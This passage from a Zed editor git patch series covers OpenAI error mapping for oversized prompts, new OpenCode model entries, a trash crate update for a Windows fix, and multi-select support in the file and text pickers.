index a8541a4ee1e7d4..18798a54b17ad7 100644
--- a/crates/open_ai/src/completion.rs
+++ b/crates/open_ai/src/completion.rs
@@ -8,7 +8,7 @@ use language_model_core::{
     LanguageModelToolChoice, LanguageModelToolResultContent, LanguageModelToolUse,
     LanguageModelToolUseId, LanguageModelToolUseInput, MessageContent, Role, StopReason,
     TokenUsage,
-    util::{fix_streamed_json, parse_tool_arguments},
+    util::{fix_streamed_json, is_context_window_exceeded_message, parse_tool_arguments},
 };
 use std::pin::Pin;
 use std::sync::Arc;
@@ -1080,20 +1080,18 @@ impl OpenAiResponseEventMapper {
                 events.push(Ok(LanguageModelCompletionEvent::Stop(stop_reason)));
                 events
             }
-            ResponsesStreamEvent::Failed { response } => {
-                let message = response_failure_message(&response);
-                vec![Err(LanguageModelCompletionError::Other(anyhow!(message)))]
-            }
+            ResponsesStreamEvent::Failed { response } => match response.error.as_ref() {
+                Some(error) => vec![Err(completion_error_from_response_error(error))],
+                None => vec![Err(LanguageModelCompletionError::Other(anyhow!(
+                    response_failure_message(&response)
+                )))],
+            },
             ResponsesStreamEvent::Error { error } => {
-                vec![Err(LanguageModelCompletionError::Other(anyhow!(
-                    response_error_message(&error)
-                )))]
+                vec![Err(completion_error_from_response_error(&error))]
             }
             ResponsesStreamEvent::GenericError { error } => {
                 let error = error.into_response_error();
-                vec![Err(LanguageModelCompletionError::Other(anyhow!(
-                    response_error_message(&error)
-                )))]
+                vec![Err(completion_error_from_response_error(&error))]
             }
             ResponsesStreamEvent::ReasoningSummaryPartAdded { summary_index, .. } => {
                 if summary_index > 0 {
@@ -1386,6 +1384,15 @@ fn response_failure_message(response: &ResponsesSummary) -> String {
         .unwrap_or_else(|| "response.failed".to_string())
 }
 
+fn completion_error_from_response_error(error: &ResponseError) -> LanguageModelCompletionError {
+    let message = response_error_message(error);
+    if is_context_window_exceeded_message(&message) {
+        LanguageModelCompletionError::PromptTooLarge { tokens: None }
+    } else {
+        LanguageModelCompletionError::Other(anyhow!(message))
+    }
+}
+
 fn response_error_message(error: &ResponseError) -> String {
     let code = error.code.as_deref().filter(|code| !code.trim().is_empty());
     let message = error.message.trim();
@@ -2846,8 +2853,8 @@ mod tests {
             "type": "error",
             "error": {
                 "type": "invalid_request_error",
-                "code": "context_length_exceeded",
-                "message": "Your input exceeds the context window of this model. Please adjust your input and try again.",
+                "code": "invalid_prompt",
+                "message": "Your prompt was flagged.",
                 "param": "input"
             },
             "sequence_number": 2
@@ -2861,10 +2868,58 @@ mod tests {
         let error = mapped.into_iter().next().unwrap().unwrap_err();
         assert_eq!(
             error.to_string(),
-            "context_length_exceeded: Your input exceeds the context window of this model. Please adjust your input and try again."
+            "invalid_prompt: Your prompt was flagged."
         );
     }
 
+    #[test]
+    fn responses_stream_maps_context_length_exceeded_to_prompt_too_large() {
+        let event = serde_json::from_value::<ResponsesStreamEvent>(json!({
+            "type": "error",
+            "error": {
+                "type": "invalid_request_error",
+                "code": "context_length_exceeded",
+                "message": "Your input exceeds the context window of this model. Please adjust your input and try again.",
+                "param": "input"
+            },
+            "sequence_number": 2
+        }))
+        .expect("nested error event");
+
+        let mut mapper = OpenAiResponseEventMapper::new();
+        let mapped = mapper.map_event(event);
+
+        assert_eq!(mapped.len(), 1);
+        let error = mapped.into_iter().next().unwrap().unwrap_err();
+        assert!(matches!(
+            error,
+            LanguageModelCompletionError::PromptTooLarge { tokens: None }
+        ));
+    }
+
+    #[test]
+    fn responses_stream_maps_failed_context_length_exceeded_to_prompt_too_large() {
+        let mut mapper = OpenAiResponseEventMapper::new();
+        let mapped = mapper.map_event(ResponsesStreamEvent::Failed {
+            response: ResponseSummary {
+                status: Some("failed".into()),
+                error: Some(ResponseError {
+                    code: Some("context_length_exceeded".into()),
+                    message: "Your input exceeds the context window of this model.".into(),
+                    param: Some("input".into()),
+                }),
+                ..Default::default()
+            },
+        });
+
+        assert_eq!(mapped.len(), 1);
+        let error = mapped.into_iter().next().unwrap().unwrap_err();
+        assert!(matches!(
+            error,
+            LanguageModelCompletionError::PromptTooLarge { tokens: None }
+        ));
+    }
+
     #[test]
     fn responses_stream_deserializes_response_error_event() {
         let event = serde_json::from_value::<ResponsesStreamEvent>(json!({

From ad5763eba47a28a72110fa2d101496fba006342e Mon Sep 17 00:00:00 2001
From: Vlad Ionescu <Vlaaaaaaad@users.noreply.github.com>
Date: Mon, 13 Jul 2026 15:13:49 +0300
Subject: [PATCH 416/772] opencode: Model updates (GPT 5.6 + Grok 4.5) (#60852)

# Objective

Adding newly-released OpenCode models.

## Solution

**OpenCode Go**:
- no changes

**OpenCode Zen**:
- added GPT 5.6 Luna, GPT 5.6 Terra, GPT 5.6 Sol using raw data from
Models.dev repo
(https://github.com/anomalyco/models.dev/tree/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/providers/opencode/models
and
https://github.com/anomalyco/models.dev/tree/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/models/openai)
- added Grok 4.5 using raw data from Models.dev repo
(https://github.com/anomalyco/models.dev/blob/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/providers/opencode/models/grok-4.5.toml
and
https://github.com/anomalyco/models.dev/blob/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/models/xai/grok-4.5.toml)

**OpenCode Free**:
- as per
https://github.com/zed-industries/zed/issues/56869#issuecomment-4466637648,
no changes as it's unclear what models are long-term free models

## Testing

**Not tested at all**, since I don't have an OpenCode Zen subscription
(since I am in the EU, I think I am also blocked from using Grok?).

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

N/A

---

Release Notes:

- Agent: OpenCode Zen model updates (added GPT 5.6 Luna, GPT 5.6 Terra,
GPT 5.6 Sol, and Grok 4.5)
---
 crates/opencode/src/opencode.rs | 52 +++++++++++++++++++++++++++++++--
 1 file changed, 49 insertions(+), 3 deletions(-)

diff --git a/crates/opencode/src/opencode.rs b/crates/opencode/src/opencode.rs
index 79d95b9cd25a62..9558bc8f24b8e5 100644
--- a/crates/opencode/src/opencode.rs
+++ b/crates/opencode/src/opencode.rs
@@ -83,6 +83,12 @@ pub enum Model {
     ClaudeFable5,
 
     // -- OpenAI Responses API models --
+    #[serde(rename = "gpt-5.6-sol")]
+    Gpt5_6Sol,
+    #[serde(rename = "gpt-5.6-terra")]
+    Gpt5_6Terra,
+    #[serde(rename = "gpt-5.6-luna")]
+    Gpt5_6Luna,
     #[serde(rename = "gpt-5.5")]
     Gpt5_5,
     #[serde(rename = "gpt-5.5-pro")]
@@ -141,6 +147,8 @@ pub enum Model {
     Glm5_2,
     #[serde(rename = "grok-build-0.1")]
     GrokBuild0_1,
+    #[serde(rename = "grok-4.5")]
+    Grok4_5,
     #[serde(rename = "kimi-k2.5")]
     KimiK2_5,
     #[serde(rename = "kimi-k2.6")]
@@ -251,6 +259,9 @@ impl Model {
             Self::ClaudeSonnet5 => "claude-sonnet-5",
             Self::ClaudeFable5 => "claude-fable-5",
 
+            Self::Gpt5_6Sol => "gpt-5.6-sol",
+            Self::Gpt5_6Terra => "gpt-5.6-terra",
+            Self::Gpt5_6Luna => "gpt-5.6-luna",
             Self::Gpt5_5 => "gpt-5.5",
             Self::Gpt5_5Pro => "gpt-5.5-pro",
             Self::Gpt5_4 => "gpt-5.4",
@@ -280,6 +291,7 @@ impl Model {
             Self::Glm5_1 => "glm-5.1",
             Self::Glm5_2 => "glm-5.2",
             Self::GrokBuild0_1 => "grok-build-0.1",
+            Self::Grok4_5 => "grok-4.5",
             Self::KimiK2_5 => "kimi-k2.5",
             Self::KimiK2_6 => "kimi-k2.6",
             Self::KimiK2_7Code => "kimi-k2.7-code",
@@ -312,6 +324,9 @@ impl Model {
             Self::ClaudeSonnet5 => "Claude Sonnet 5",
             Self::ClaudeFable5 => "Claude Fable 5",
 
+            Self::Gpt5_6Sol => "GPT 5.6 Sol",
+            Self::Gpt5_6Terra => "GPT 5.6 Terra",
+            Self::Gpt5_6Luna => "GPT 5.6 Luna",
             Self::Gpt5_5 => "GPT 5.5",
             Self::Gpt5_5Pro => "GPT 5.5 Pro",
             Self::Gpt5_4 => "GPT 5.4",
@@ -341,6 +356,7 @@ impl Model {
             Self::Glm5_1 => "GLM 5.1",
             Self::Glm5_2 => "GLM 5.2",
             Self::GrokBuild0_1 => "Grok Build 0.1",
+            Self::Grok4_5 => "Grok 4.5",
             Self::KimiK2_5 => "Kimi K2.5",
             Self::KimiK2_6 => "Kimi K2.6",
             Self::KimiK2_7Code => "Kimi K2.7 Code",
@@ -385,7 +401,10 @@ impl Model {
             | Self::ClaudeSonnet4
             | Self::ClaudeHaiku4_5 => ApiProtocol::Anthropic,
 
-            Self::Gpt5_5
+            Self::Gpt5_6Sol
+            | Self::Gpt5_6Terra
+            | Self::Gpt5_6Luna
+            | Self::Gpt5_5
             | Self::Gpt5_5Pro
             | Self::Gpt5_4
             | Self::Gpt5_4Pro
@@ -413,6 +432,7 @@ impl Model {
             | Self::Glm5_1
             | Self::Glm5_2
             | Self::GrokBuild0_1
+            | Self::Grok4_5
             | Self::KimiK2_5
             | Self::KimiK2_6
             | Self::KimiK2_7Code
@@ -467,6 +487,7 @@ impl Model {
             Self::ClaudeFable5 => 1_000_000,
 
             // OpenAI models
+            Self::Gpt5_6Sol | Self::Gpt5_6Terra | Self::Gpt5_6Luna => 1_050_000,
             Self::Gpt5_5 | Self::Gpt5_5Pro => 1_050_000,
             Self::Gpt5_4 | Self::Gpt5_4Pro => 1_050_000,
             Self::Gpt5_4Mini | Self::Gpt5_4Nano => 400_000,
@@ -503,6 +524,7 @@ impl Model {
             Self::Glm5_2 => 1_000_000,
             Self::KimiK2_6 | Self::KimiK2_5 | Self::KimiK2_7Code => 262_144,
             Self::GrokBuild0_1 => 256_000,
+            Self::Grok4_5 => 500_000,
             Self::MimoV2_5Pro => 1_048_576,
             Self::MimoV2_5 => 1_000_000,
             Self::Qwen3_5Plus => 262_144,
@@ -536,7 +558,10 @@ impl Model {
             Self::ClaudeFable5 => Some(128_000),
 
             // OpenAI models
-            Self::Gpt5_5
+            Self::Gpt5_6Sol
+            | Self::Gpt5_6Terra
+            | Self::Gpt5_6Luna
+            | Self::Gpt5_5
             | Self::Gpt5_5Pro
             | Self::Gpt5_4
             | Self::Gpt5_4Pro
@@ -585,6 +610,7 @@ impl Model {
             Self::KimiK2_6 | Self::KimiK2_5 => Some(65_536),
             Self::KimiK2_7Code => Some(262_144),
             Self::GrokBuild0_1 => Some(256_000),
+            Self::Grok4_5 => Some(500_000),
             Self::Qwen3_7Max | Self::Qwen3_7Plus | Self::Qwen3_6Plus | Self::Qwen3_5Plus => {
                 Some(65_536)
             }
@@ -618,7 +644,10 @@ impl Model {
             | Self::ClaudeFable5 => true,
 
             // OpenAI models support images
-            Self::Gpt5_5
+            Self::Gpt5_6Sol
+            | Self::Gpt5_6Terra
+            | Self::Gpt5_6Luna
+            | Self::Gpt5_5
             | Self::Gpt5_5Pro
             | Self::Gpt5_4
             | Self::Gpt5_4Pro
@@ -646,6 +675,7 @@ impl Model {
             | Self::KimiK2_7Code
             | Self::KimiK2_5
             | Self::GrokBuild0_1
+            | Self::Grok4_5
             | Self::MimoV2_5
             | Self::Qwen3_5Plus
             | Self::Qwen3_6Plus
@@ -749,6 +779,15 @@ impl Model {
                 ReasoningEffort::High,
             ]),
 
+            Self::Gpt5_6Sol | Self::Gpt5_6Terra | Self::Gpt5_6Luna => Some(vec![
+                ReasoningEffort::None,
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+                ReasoningEffort::XHigh,
+                ReasoningEffort::Max,
+            ]),
+
             // Google models
             Self::Gemini3Flash | Self::Gemini3_5Flash => Some(vec![
                 ReasoningEffort::Minimal,
@@ -790,6 +829,13 @@ impl Model {
             // Z AI models
             Self::Glm5_2 => Some(vec![ReasoningEffort::High, ReasoningEffort::Max]),
 
+            // SpaceXAI models
+            Self::Grok4_5 => Some(vec![
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+            ]),
+
             Self::Custom {
                 reasoning_effort_levels,
                 ..

From d8ecc302c6a22485754788c877fc11b34fc15227 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Mon, 13 Jul 2026 13:14:37 +0100
Subject: [PATCH 417/772] fs: Update trash crate version (#60899)

# Objective

Fix errors in Windows when trashing files from the Git Panel. Closes
#60716.

## Solution

The solution and discussion is available at
https://github.com/zed-industries/trash-rs/pull/3 , seeing as the fix
was fully done on the `trash` crate. Original discussion of this issue
can be found at https://github.com/zed-industries/zed/pull/59595 .

## Testing

Testing was performed manually on a Windows machine by updating Zed's
`fs` crate dependencies to point at the updated code and then building
from source and testing out the same exact path, namely:

1. Create a new untracked file
2. Trash the file from the Git Panel's context menu
3. Confirm that, after confirming that you wish to trash the file, the
file is trash and no error is shown

Since this whole trash-tracking logic was implemented in the context of
the project panel's undo system, I also confirmed that the changes in
the crate's code didn't affect trashing and restoring on Windows.

## Self-Review Checklist:

N/A

## Showcase

<details>
  <summary>Before</summary>


https://github.com/user-attachments/assets/120ab3ec-d631-4243-a21e-c510c27ed518
</details>

<details>
  <summary>After</summary>


https://github.com/user-attachments/assets/7ff1e373-b56d-431f-aad5-d4c5bb301e02
</details>

---

Release Notes:

- Fixed issue when trashing untracked files in Git Panel on Windows
---
 Cargo.lock           | 2 +-
 crates/fs/Cargo.toml | 3 +--
 2 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 17acf0e6ed997b..0a391ab0855a3f 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -19278,7 +19278,7 @@ dependencies = [
 [[package]]
 name = "trash"
 version = "5.2.5"
-source = "git+https://github.com/zed-industries/trash-rs?rev=3bf27effd4eb8699f2e484d3326b852fe3e53af7#3bf27effd4eb8699f2e484d3326b852fe3e53af7"
+source = "git+https://github.com/zed-industries/trash-rs?rev=47761739192828a66b11a94ba5420b82d63c03c5#47761739192828a66b11a94ba5420b82d63c03c5"
 dependencies = [
  "chrono",
  "libc",
diff --git a/crates/fs/Cargo.toml b/crates/fs/Cargo.toml
index 5f95536e6c526b..871ac718028b26 100644
--- a/crates/fs/Cargo.toml
+++ b/crates/fs/Cargo.toml
@@ -44,8 +44,7 @@ time.workspace = true
 util.workspace = true
 is_executable = "1.0.5"
 notify = "9.0.0-rc.4"
-trash = { git = "https://github.com/zed-industries/trash-rs", rev = "3bf27effd4eb8699f2e484d3326b852fe3e53af7" }
-
+trash = { git = "https://github.com/zed-industries/trash-rs", rev = "47761739192828a66b11a94ba5420b82d63c03c5" }
 [target.'cfg(target_os = "windows")'.dependencies]
 windows.workspace = true
 dunce.workspace = true

From 94b6d377badf9c2202850b551c4700a54b83895f Mon Sep 17 00:00:00 2001
From: Yash Patodkar <97297944+ypatodkar@users.noreply.github.com>
Date: Mon, 13 Jul 2026 05:19:09 -0700
Subject: [PATCH 418/772] pickers: Add multi-select support (#59931)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Users can now Cmd+click multiple files in the file picker and press
Enter to open them all at once. Tab can also be used to select items
without clicking, advancing the cursor automatically.

# Objective


Currently, when opening the file picker (Cmd+P), users can only open one
file at a time. This adds multi-select support so users can select
multiple files and open them all at once.

Fixes #59818

## Solution

Added a `selected_indices` set to `Picker` to track which items the user
has toggled into a multi-selection. Regular clicks still open a file
immediately (unchanged behavior).
Cmd+clicking adds a file to the selection without opening it, and
pressing Enter opens all selected files at once. A `confirm_multi`
method was added to the delegate trait so individual delegates (like the
file finder) can handle opening multiple files with a safe fallback for
delegates that don't support it. Multi-selection is cleared when the
picker
is dismissed or the search query changes. Selected items show a
background highlight and a focused left border so the user always knows
what's selected.



## How to use it

1. Open the file or test picker.
2. Search and either Cmd+click or tab it to add it to the selection (the
file will not open yet).
3. Repeat for any other files you want to open.
4. To deselect a file, Cmd+click it again.
5. Alternatively, hover over an item and press Tab to select it with the
keyboard, the cursor automatically moves to the next item so you can
keep selecting quickly.
6. Once you have all the files you want, press Enter to open them all at
once.


## Testing

Tested manually on macOS.

- **Single select:** Clicking on a file opens it directly, which is the
existing behavior and remains unchanged.
- **Multi-select via Cmd+Click:** Holding Cmd and clicking multiple
items adds them to the selection. Cmd+clicking an already-selected item
deselects it. Pressing Enter opens all selected files at once.
- **Multi-select via Tab:** Hovering over an item and pressing Tab
selects it without clicking or opening it, allowing keyboard-driven
multi-selection.

## Showcase

**Single select:**
<img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 45 33 PM"
src="https://github.com/user-attachments/assets/8f9d4408-0688-4619-807a-affd6dc66f21"
/>








Opened single file

<img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 45 38 PM"
src="https://github.com/user-attachments/assets/34ffacfd-b8ed-4898-beaa-bd5e47ebf682"
/>












- **Multi-select:**
- Selecting multiple files
<img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 49 22 PM"
src="https://github.com/user-attachments/assets/a7562fe8-9bd2-40ba-8bb4-12909ccefed7"
/>









Opened multiple files

<img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 49 42 PM"
src="https://github.com/user-attachments/assets/c0c9e24c-86b7-45bf-898d-05068d5d7e3a"
/>





## Release Notes:
- Added multi-select to the file and text picker: Cmd+click or tab to
select multiple files, then open them all at once.

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: Yara <git@yara.blue>
---
 assets/keymaps/specific-overrides-macos.json |   2 +
 assets/keymaps/specific-overrides.json       |   2 +
 crates/file_finder/src/file_finder.rs        | 221 +++++++++++-
 crates/file_finder/src/file_finder_tests.rs  |   6 +-
 crates/file_finder/src/multi_select_tests.rs | 294 +++++++++++++++
 crates/picker/src/footer.rs                  |  14 +-
 crates/picker/src/picker.rs                  | 354 ++++++++++++++++++-
 crates/picker/src/render.rs                  |   2 +
 crates/search/src/text_finder/delegate.rs    | 202 +++++++++--
 9 files changed, 1045 insertions(+), 52 deletions(-)
 create mode 100644 crates/file_finder/src/multi_select_tests.rs

diff --git a/assets/keymaps/specific-overrides-macos.json b/assets/keymaps/specific-overrides-macos.json
index e24dfb205178e4..f8e4e1fb06ba7f 100644
--- a/assets/keymaps/specific-overrides-macos.json
+++ b/assets/keymaps/specific-overrides-macos.json
@@ -28,6 +28,7 @@
     "use_key_equivalents": true,
     "bindings": {
       "cmd-shift-p": "file_finder::SelectPrevious",
+      "tab": "picker::MultiSelectNext",
       "cmd-j": "pane::SplitDown",
       "cmd-k": "pane::SplitUp",
       "cmd-h": "pane::SplitLeft",
@@ -39,6 +40,7 @@
     "use_key_equivalents": true,
     "bindings": {
       "alt-cmd-f": "text_finder::ToProjectSearch",
+      "tab": "picker::MultiSelectNext",
       "alt-cmd-[": "text_finder::Fold",
       "alt-cmd-]": "text_finder::Unfold",
       "cmd-shift-enter": "text_finder::ToggleFoldAll",
diff --git a/assets/keymaps/specific-overrides.json b/assets/keymaps/specific-overrides.json
index 2c4191089abae5..0f622554f70add 100644
--- a/assets/keymaps/specific-overrides.json
+++ b/assets/keymaps/specific-overrides.json
@@ -25,6 +25,7 @@
     "context": "FileFinder || (FileFinder > Picker > Editor) || (FileFinder > Picker > menu)",
     "bindings": {
       "ctrl-shift-p": "file_finder::SelectPrevious",
+      "tab": "picker::MultiSelectNext",
       "ctrl-j": "pane::SplitDown",
       "ctrl-k": "pane::SplitUp",
       "ctrl-h": "pane::SplitLeft",
@@ -35,6 +36,7 @@
     "context": "TextFinder || (TextFinder > Picker > Editor) || (TextFinder > Picker > menu)",
     "bindings": {
       "ctrl-alt-f": "text_finder::ToProjectSearch",
+      "tab": "picker::MultiSelectNext",
       "ctrl-j": "pane::SplitDown",
       "ctrl-k": "pane::SplitUp",
       "ctrl-h": "pane::SplitLeft",
diff --git a/crates/file_finder/src/file_finder.rs b/crates/file_finder/src/file_finder.rs
index 1203e3dde021b7..f02fb677441eb8 100644
--- a/crates/file_finder/src/file_finder.rs
+++ b/crates/file_finder/src/file_finder.rs
@@ -1,5 +1,7 @@
 #[cfg(test)]
 mod file_finder_tests;
+#[cfg(test)]
+mod multi_select_tests;
 
 use futures::future::join_all;
 pub use open_path_prompt::OpenPathDelegate;
@@ -276,6 +278,10 @@ impl FileFinder {
     ) {
         self.picker.update(cx, |picker, cx| {
             let delegate = &mut picker.delegate;
+            if !delegate.selected_matches.is_empty() {
+                delegate.open_selected_in_one_split(split_direction, window, cx);
+                return;
+            }
             if let Some(workspace) = delegate.workspace.upgrade()
                 && let Some(m) = delegate.matches.get(delegate.selected_index())
             {
@@ -361,6 +367,7 @@ pub struct FileFinderDelegate {
     latest_search_query: Option<FileSearchQuery>,
     currently_opened_path: Option<FoundPath>,
     matches: Matches,
+    selected_matches: Vec<SelectedMatch>,
     selected_index: usize,
     has_changed_selected_index: bool,
     cancel_flag: Arc<AtomicBool>,
@@ -459,6 +466,45 @@ impl Match {
     }
 }
 
+/// Wrapper with Eq comparing the worktree-qualified path of file matches
+#[derive(Clone)]
+struct SelectedMatch(pub Match);
+
+impl SelectedMatch {
+    fn new(m: Match) -> Option<Self> {
+        match m {
+            Match::History { .. } | Match::Search(_) => Some(Self(m)),
+            Match::Channel { .. } | Match::CreateNew(_) => None,
+        }
+    }
+}
+
+impl PartialEq for SelectedMatch {
+    fn eq(&self, other: &Self) -> bool {
+        *self == other.0
+    }
+}
+
+impl Eq for SelectedMatch {}
+
+impl PartialEq<Match> for SelectedMatch {
+    fn eq(&self, other: &Match) -> bool {
+        match (&self.0, other) {
+            (Match::History { path: a, .. }, Match::History { path: b, .. }) => {
+                a.project == b.project
+            }
+            (Match::Search(a), Match::Search(b)) => {
+                a.0.worktree_id == b.0.worktree_id && a.0.path == b.0.path
+            }
+            (Match::History { path: h, .. }, Match::Search(s))
+            | (Match::Search(s), Match::History { path: h, .. }) => {
+                h.project.worktree_id.to_usize() == s.0.worktree_id && h.project.path == s.0.path
+            }
+            _ => false,
+        }
+    }
+}
+
 impl Matches {
     fn len(&self) -> usize {
         self.matches.len()
@@ -927,6 +973,7 @@ impl FileFinderDelegate {
             latest_search_query: None,
             currently_opened_path,
             matches: Matches::default(),
+            selected_matches: Vec::new(),
             has_changed_selected_index: false,
             selected_index: 0,
             cancel_flag: Arc::new(AtomicBool::new(false)),
@@ -958,6 +1005,22 @@ impl FileFinderDelegate {
         .detach();
     }
 
+    fn prepend_selected_matches(&mut self) {
+        if self.selected_matches.is_empty() {
+            return;
+        }
+        self.matches
+            .matches
+            .retain(|m| !self.selected_matches.iter().any(|selected| selected == m));
+        let mut new: Vec<Match> = self
+            .selected_matches
+            .iter()
+            .map(|selected| selected.0.clone())
+            .collect();
+        new.append(&mut self.matches.matches);
+        self.matches.matches = new;
+    }
+
     fn spawn_search(
         &mut self,
         query: FileSearchQuery,
@@ -1160,14 +1223,20 @@ impl FileFinderDelegate {
                 }
             }
 
-            self.selected_index = selected_match.map_or_else(
-                || self.calculate_selected_index(cx),
-                |m| {
-                    self.matches
-                        .position(&m, self.currently_opened_path.as_ref())
-                        .unwrap_or(0)
-                },
-            );
+            self.prepend_selected_matches();
+
+            self.selected_index = if !self.selected_matches.is_empty() {
+                0
+            } else {
+                selected_match.map_or_else(
+                    || self.calculate_selected_index(cx),
+                    |m| {
+                        self.matches
+                            .position(&m, self.currently_opened_path.as_ref())
+                            .unwrap_or(0)
+                    },
+                )
+            };
 
             self.latest_search_query = Some(query);
             self.latest_search_did_cancel = did_cancel;
@@ -1458,6 +1527,21 @@ impl FileFinderDelegate {
         let Some(m) = self.matches.get(self.selected_index()).cloned() else {
             return;
         };
+        let allow_preview = PreviewTabsSettings::get_global(cx).enable_preview_from_file_finder;
+        self.open_match(m, secondary, dismiss_after_open, allow_preview, window, cx);
+    }
+
+    /// `allow_preview` is forced off for batch opens so every file gets its
+    /// own tab instead of consecutive opens reusing one preview tab.
+    fn open_match(
+        &mut self,
+        m: Match,
+        secondary: bool,
+        dismiss_after_open: bool,
+        allow_preview: bool,
+        window: &mut Window,
+        cx: &mut Context<Picker<FileFinderDelegate>>,
+    ) {
         let Some(workspace) = self.workspace.upgrade() else {
             return;
         };
@@ -1480,8 +1564,6 @@ impl FileFinderDelegate {
                                  project_path,
                                  window: &mut Window,
                                  cx: &mut Context<Workspace>| {
-                let allow_preview =
-                    PreviewTabsSettings::get_global(cx).enable_preview_from_file_finder;
                 if secondary {
                     workspace.split_path_preview(project_path, allow_preview, None, window, cx)
                 } else {
@@ -1596,6 +1678,59 @@ impl FileFinderDelegate {
     ) {
         self.open_selected_file(false, false, window, cx);
     }
+
+    /// Opens every multi-selected file as a tab in a single new split, then
+    /// dismisses the finder.
+    fn open_selected_in_one_split(
+        &mut self,
+        split_direction: SplitDirection,
+        window: &mut Window,
+        cx: &mut Context<Picker<FileFinderDelegate>>,
+    ) {
+        let Some(workspace) = self.workspace.upgrade() else {
+            return;
+        };
+        let selected = std::mem::take(&mut self.selected_matches);
+        let paths: Vec<ProjectPath> = selected
+            .iter()
+            .filter_map(|selected| match &selected.0 {
+                Match::History { path, .. } => Some(ProjectPath {
+                    worktree_id: path.project.worktree_id,
+                    path: Arc::clone(&path.project.path),
+                }),
+                Match::Search(m) => Some(project_path_for_search_match(&self.project, &m.0, cx)),
+                Match::Channel { .. } | Match::CreateNew(_) => None,
+            })
+            .collect();
+        if paths.is_empty() {
+            return;
+        }
+        workspace.update(cx, |workspace, cx| {
+            let new_pane =
+                workspace.split_pane(workspace.active_pane().clone(), split_direction, window, cx);
+            let count = paths.len();
+            for (i, path) in paths.into_iter().enumerate() {
+                let focus_item = i + 1 == count;
+                workspace
+                    .open_path_preview(
+                        path,
+                        Some(new_pane.downgrade()),
+                        focus_item,
+                        false,
+                        true,
+                        window,
+                        cx,
+                    )
+                    .detach_and_log_err(cx);
+            }
+        });
+        // Deferred because this runs from a `FileFinder` action handler, so
+        // the entity is already being updated.
+        let finder = self.file_finder.clone();
+        cx.defer(move |cx| {
+            finder.update(cx, |_, cx| cx.emit(DismissEvent)).log_err();
+        });
+    }
 }
 
 fn full_path_budget(
@@ -1756,6 +1891,7 @@ impl PickerDelegate for FileFinderDelegate {
                 self.first_update = false;
                 self.selected_index = 0;
             }
+            self.prepend_selected_matches();
             cx.notify();
             self.search_in_flight
                 .store(false, atomic::Ordering::Release);
@@ -1806,6 +1942,64 @@ impl PickerDelegate for FileFinderDelegate {
         self.open_selected_file(secondary, true, window, cx);
     }
 
+    fn supports_multi_select(&self) -> bool {
+        true
+    }
+
+    fn is_item_selected(&self, ix: usize) -> bool {
+        let Some(m) = self.matches.get(ix) else {
+            return false;
+        };
+        self.selected_matches.iter().any(|selected| selected == m)
+    }
+
+    fn toggle_item_selected(
+        &mut self,
+        ix: usize,
+        _window: &mut Window,
+        cx: &mut Context<Picker<FileFinderDelegate>>,
+    ) {
+        let Some(m) = self.matches.get(ix).cloned() else {
+            return;
+        };
+        // `new` rejects channels and the `create-new` placeholder.
+        let Some(selected) = SelectedMatch::new(m) else {
+            return;
+        };
+        if let Some(position) = self
+            .selected_matches
+            .iter()
+            .position(|existing| *existing == selected)
+        {
+            self.selected_matches.remove(position);
+        } else {
+            self.selected_matches.push(selected);
+        }
+        cx.notify();
+    }
+
+    fn selected_item_count(&self) -> usize {
+        self.selected_matches.len()
+    }
+
+    fn clear_selection(&mut self, _cx: &mut Context<Picker<FileFinderDelegate>>) {
+        self.selected_matches.clear();
+    }
+
+    fn confirm_multi(
+        &mut self,
+        secondary: bool,
+        window: &mut Window,
+        cx: &mut Context<Picker<FileFinderDelegate>>,
+    ) {
+        let selected = std::mem::take(&mut self.selected_matches);
+        let count = selected.len();
+        for (i, selected_match) in selected.into_iter().enumerate() {
+            let is_last = i + 1 == count;
+            self.open_match(selected_match.0, secondary, is_last, false, window, cx);
+        }
+    }
+
     fn dismissed(&mut self, _: &mut Window, cx: &mut Context<Picker<FileFinderDelegate>>) {
         self.file_finder
             .update(cx, |_, cx| cx.emit(DismissEvent))
@@ -1906,6 +2100,11 @@ impl PickerDelegate for FileFinderDelegate {
         _window: &mut Window,
         _cx: &mut Context<Picker<Self>>,
     ) -> Vec<picker::PickerAction> {
+        let open_label: SharedString = if self.selected_matches.len() > 1 {
+            "Open multiple".into()
+        } else {
+            "Open File".into()
+        };
         vec![
             picker::PickerAction::header("Split…"),
             picker::PickerAction::button("Left", pane::SplitLeft::default().boxed_clone()),
@@ -1913,7 +2112,7 @@ impl PickerDelegate for FileFinderDelegate {
             picker::PickerAction::button("Up", pane::SplitUp::default().boxed_clone()),
             picker::PickerAction::button("Down", pane::SplitDown::default().boxed_clone()),
             picker::PickerAction::separator(),
-            picker::PickerAction::button("Open File", menu::Confirm.boxed_clone()),
+            picker::PickerAction::button(open_label, menu::Confirm.boxed_clone()),
         ]
     }
 }
diff --git a/crates/file_finder/src/file_finder_tests.rs b/crates/file_finder/src/file_finder_tests.rs
index f3d63a09ee6176..9dfdf6c08c1fd1 100644
--- a/crates/file_finder/src/file_finder_tests.rs
+++ b/crates/file_finder/src/file_finder_tests.rs
@@ -4477,7 +4477,7 @@ async fn open_queried_buffer(
     history_items
 }
 
-fn init_test(cx: &mut TestAppContext) -> Arc<AppState> {
+pub(crate) fn init_test(cx: &mut TestAppContext) -> Arc<AppState> {
